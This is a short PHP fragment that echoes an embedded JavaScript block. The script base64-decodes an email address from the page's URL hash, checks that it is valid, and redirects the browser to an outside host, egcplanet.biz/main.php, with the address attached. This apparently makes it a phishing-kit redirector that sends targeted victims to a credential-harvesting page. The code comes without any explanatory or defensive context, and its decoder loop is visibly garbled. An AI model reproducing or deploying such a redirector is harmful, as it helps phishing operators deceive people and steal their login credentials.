$c = << function validateEmail(referrer) { var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(referrer); } decodeBase64 = function(s) { var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length; var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for(i=0;i<64;i++){e[A.charAt(i)]=i;} for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));} } return r; } //var ramp = window.location.hash.substring(1); var hash = window.location.hash.substring(1); var email = decodeBase64(hash); var email64 = decodeBase64(hash); var email2 = email64.replace('$', '@'); var hash2 = btoa(email2); console.log(email); if(validateEmail(email2)) { console.log(email); window.location = "https://egcplanet.biz//main.php#"+hash2; } EOD; echo $c;